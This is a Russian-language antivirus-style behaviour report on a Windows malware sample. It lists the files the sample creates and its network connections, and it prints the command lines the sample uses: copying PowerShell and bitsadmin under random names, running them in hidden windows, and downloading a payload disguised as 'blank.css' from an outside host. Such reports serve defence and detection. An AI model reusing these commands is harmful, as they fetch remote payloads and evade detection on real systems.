Техническая информация
Вредоносные функции
Создает и запускает на исполнение
- '%ALLUSERSPROFILE%\lydmvznin.exe' /transfer XLgOuT /download https://empanswers.com/rispo/04691260287/blank.css %APPDATA%\blank.css
Изменения в файловой системе
Создает следующие файлы
- %ALLUSERSPROFILE%\zlpulozb.exe
- %ALLUSERSPROFILE%\lydmvznin.exe
Сетевая активность
Подключается к
- 'em###swers.com':443
UDP
- DNS ASK em###swers.com
- 'localhost':63102
- 'localhost':50737
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c cmd /c copy /Z %WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe %ALLUSERSPROFILE%\zlPULozB.exe' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c copy /Y /Z %WINDIR%\SysWOW64\bi*.exe %ALLUSERSPROFILE%\LYDMvzN*.exe' (со скрытым окном)
- '%ALLUSERSPROFILE%\lydmvznin.exe' /transfer XLgOuT /download https://empanswers.com/rispo/04691260287/blank.css %APPDATA%\blank.css' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c cmd /c copy /Z %WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe %ALLUSERSPROFILE%\zlPULozB.exe
- '<SYSTEM32>\cmd.exe' /c copy /Z %WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe %ALLUSERSPROFILE%\zlPULozB.exe
- '<SYSTEM32>\cmd.exe' /c copy /Y /Z %WINDIR%\SysWOW64\bi*.exe %ALLUSERSPROFILE%\LYDMvzN*.exe
